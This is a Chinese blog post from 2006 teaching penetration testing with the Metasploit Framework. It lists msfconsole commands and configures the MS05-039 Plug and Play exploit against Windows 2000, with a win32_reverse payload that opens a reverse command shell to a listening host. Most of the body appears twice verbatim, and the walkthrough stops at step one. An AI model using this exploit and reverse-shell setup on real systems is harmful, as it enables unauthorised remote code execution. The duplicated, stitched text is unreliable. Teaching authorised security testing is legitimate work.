作者在 2006-11-15 04:52:00 发布以下内容
在一个新近发表的小技巧中,我介绍了将 Metasploit 安全测试工具的框架应用到安全测试中的好处。这种基于Perl的Metasploit 被设计成为一个健壮的漏洞开发系统。正巧,你可以使用它在现有的系统中来运行早先已经开发完成的漏洞利用程序。那么你可以使用它所具备的安全测试的特点来检测你的系统对于渗透性是否脆弱,并且可以观察当特定的有效负载按其自身的方式进行发送时它们是如何反应的。
除了普通的Web应用测试之外,如数据隐码(SQL injection)、输入不支持的篡改,Metasploit安全测试工具为在独立应用程序、 Web服务器、操作系统以及更多的地方中广泛存在的弱点提供了漏洞利用的开发代码——确切地说,在2.4版本中有100项漏洞利用和75项有效负载。根据Metasploit网站所发布的信息,刚刚发布的2.5版本包括故障(bug)定位、伪装变化、以及多于32个的漏洞利用!显然,即使有100个漏洞利用可供选择,但是对于每一个你所遇到的渗透检验情形中可能存在的弱点而言,这些漏洞利用仍然是不够的。但是需要再次重申的是,当你创建了这个安全框架,你就可以写自己的漏洞利用,当然这是建立在你倾向于使用这个框架的情况下。
在下面列出的安装过程中,我将概括地介绍实际测试的情形中是如何使用Metasploit工具的内嵌漏洞利用和有效负载的。预先要提醒大家的是:当执行你自己的测试时,使用这个工具是有可能得到不期望的结果,例如系统崩溃或者使产品系统处于不稳定状态中。就像是任何道德黑客(ethical hacking)的冒险事业一样,我们需要谨慎行事并且在事情发生时有应变计划。请不要轻视这一点。
常见命令:
在直接说明执行这个漏洞利用的具体步骤之前,下面介绍一些你应该了解的msfconsole常见命令。
help (or '?') — 显示在msfconsole中的可用命令。
show exploits — 显示你可以运行的漏洞利用(在我们的例子中,是 ms05_039_pnp exploit)
show payloads — 显示各种你可以在应用了漏洞利用程序的系统上执行的有效负载选项,如分散命令,上载程序来运行(在我们的例子中,是win32_reverse exploit)
info exploit [exploit name] — 显示对于一个指定的漏洞利用的名字的描述及其多种选项和需求(如:info exploit ms05_039_pnp表明这个指定攻击的信息)
info payload [payload name] — 显示对于一个指定的有效负载的名字的描述及其多种选项和需求(如:info payload win32_reverse表明分散一个命令壳的信息)
use [exploit name] — 引导msfconsole键入指定的exploit的环境(例如use ms05_039_pnp将为这个指定环境产生ms05_039_pnp >这个命令提示符)
show options — 显示各种你正在使用的该指定漏洞利用的参数
show payloads -— 显示和你正在使用的与该指定的漏洞利用兼容的有效负载
set PAYLOAD — 允许为你的漏洞利用设置指定的有效负载(在这个例子中,设置PAYLOAD win32_reverse)
show targets — 显示可用的目标系统和可以进行漏洞利用的应用程序
set TARGET — 允许选择你指定的目标操作系统或者应用程序(在这个例子中,针对所有的Windows 2000所有的英文版本,我将会使用set TARGET 0
set RHOST -— 允许设置你目标主机的IP地址(在这个例子中,设置RHOST为10.0.0.200)
set LHOST — 允许为必要的反向通信设置本地的IP地址以打开反向命令壳(在这个例子中,设置LHOST为 10.0.0.201)
back — 允许在漏洞利用环境中,退出当前环境回到主msfconsole的提示符
在渗透中的一些证据
上面我已经介绍了你将需要的基本命令,那么接下来我将具体介绍执行实际的漏洞利用时需要进行的一些指定步骤及其屏幕截图。
在这个例子中,我的测试目标是一个存在即插即用服务漏洞(MS05-039)的Windows 2000 Server系统(CVE-2005-1983),这个漏洞被Zotob worm病毒利用。这个漏洞——Metasploit安全测试工具正巧含有它的漏洞利用——允许任意代码执行包括壳(命令提示符)对系统的访问。我知道我的目标系统有这个弱点,因为我发现了包括漏洞评估软件工具QualysGuard在内的问题。这纯粹是道德黑客方法论中的一部分,但是它也并非是必须的。你可以不使用测试用例来测试你的系统——或者,甚至更好——Metasploit能够利用其自带的“检测”功能来进行仔细检查,以便察看出在Metasploit对系统进行漏洞利用之前该系统是否是易受攻击的。更多的内容请继续往下看。我的测试系统是Windows XP SP2,它运行的是Metasploit 框架2.4的版本,这个版本是我从这个链接下载下来并且安装上的。我将使用Metasploit中最为常用的msfconsole界面来演示整个攻击过程。
步骤一
我加载msfconsole(通过Start/Programs/Metasploit Framework/MSFConsole实现),之后它的命令提示符也出现了。
除了普通的Web应用测试之外,如数据隐码(SQL injection)、输入不支持的篡改,Metasploit安全测试工具为在独立应用程序、 Web服务器、操作系统以及更多的地方中广泛存在的弱点提供了漏洞利用的开发代码——确切地说,在2.4版本中有100项漏洞利用和75项有效负载。根据Metasploit网站所发布的信息,刚刚发布的2.5版本包括故障(bug)定位、伪装变化、以及多于32个的漏洞利用!显然,即使有100个漏洞利用可供选择,但是对于每一个你所遇到的渗透检验情形中可能存在的弱点而言,这些漏洞利用仍然是不够的。但是需要再次重申的是,当你创建了这个安全框架,你就可以写自己的漏洞利用,当然这是建立在你倾向于使用这个框架的情况下。
在下面列出的安装过程中,我将概括地介绍实际测试的情形中是如何使用Metasploit工具的内嵌漏洞利用和有效负载的。预先要提醒大家的是:当执行你自己的测试时,使用这个工具是有可能得到不期望的结果,例如系统崩溃或者使产品系统处于不稳定状态中。就像是任何道德黑客(ethical hacking)的冒险事业一样,我们需要谨慎行事并且在事情发生时有应变计划。请不要轻视这一点。
常见命令:
在直接说明执行这个漏洞利用的具体步骤之前,下面介绍一些你应该了解的msfconsole常见命令。
help (or '?') — 显示在msfconsole中的可用命令。
show exploits — 显示你可以运行的漏洞利用(在我们的例子中,是 ms05_039_pnp exploit)
show payloads — 显示各种你可以在应用了漏洞利用程序的系统上执行的有效负载选项,如分散命令,上载程序来运行(在我们的例子中,是win32_reverse exploit)
info exploit [exploit name] — 显示对于一个指定的漏洞利用的名字的描述及其多种选项和需求(如:info exploit ms05_039_pnp表明这个指定攻击的信息)
info payload [payload name] — 显示对于一个指定的有效负载的名字的描述及其多种选项和需求(如:info payload win32_reverse表明分散一个命令壳的信息)
use [exploit name] — 引导msfconsole键入指定的exploit的环境(例如use ms05_039_pnp将为这个指定环境产生ms05_039_pnp >这个命令提示符)
show options — 显示各种你正在使用的该指定漏洞利用的参数
show payloads -— 显示和你正在使用的与该指定的漏洞利用兼容的有效负载
set PAYLOAD — 允许为你的漏洞利用设置指定的有效负载(在这个例子中,设置PAYLOAD win32_reverse)
show targets — 显示可用的目标系统和可以进行漏洞利用的应用程序
set TARGET — 允许选择你指定的目标操作系统或者应用程序(在这个例子中,针对所有的Windows 2000所有的英文版本,我将会使用set TARGET 0
set RHOST -— 允许设置你目标主机的IP地址(在这个例子中,设置RHOST为10.0.0.200)
set LHOST — 允许为必要的反向通信设置本地的IP地址以打开反向命令壳(在这个例子中,设置LHOST为 10.0.0.201)
back — 允许在漏洞利用环境中,退出当前环境回到主msfconsole的提示符
在渗透中的一些证据
上面我已经介绍了你将需要的基本命令,那么接下来我将具体介绍执行实际的漏洞利用时需要进行的一些指定步骤及其屏幕截图。
在这个例子中,我的测试目标是一个存在即插即用服务漏洞(MS05-039)的Windows 2000 Server系统(CVE-2005-1983),这个漏洞被Zotob worm病毒利用。这个漏洞——Metasploit安全测试工具正巧含有它的漏洞利用——允许任意代码执行包括壳(命令提示符)对系统的访问。我知道我的目标系统有这个弱点,因为我发现了包括漏洞评估软件工具QualysGuard在内的问题。这纯粹是道德黑客方法论中的一部分,但是它也并非是必须的。你可以不使用测试用例来测试你的系统——或者,甚至更好——Metasploit能够利用其自带的“检测”功能来进行仔细检查,以便察看出在Metasploit对系统进行漏洞利用之前该系统是否是易受攻击的。更多的内容请继续往下看。我的测试系统是Windows XP SP2,它运行的是Metasploit 框架2.4的版本,这个版本是我从这个链接下载下来并且安装上的。我将使用Metasploit中最为常用的msfconsole界面来演示整个攻击过程。
步骤一
我加载msfconsole(通过Start/Programs/Metasploit Framework/MSFConsole实现),之后它的命令提示符也出现了。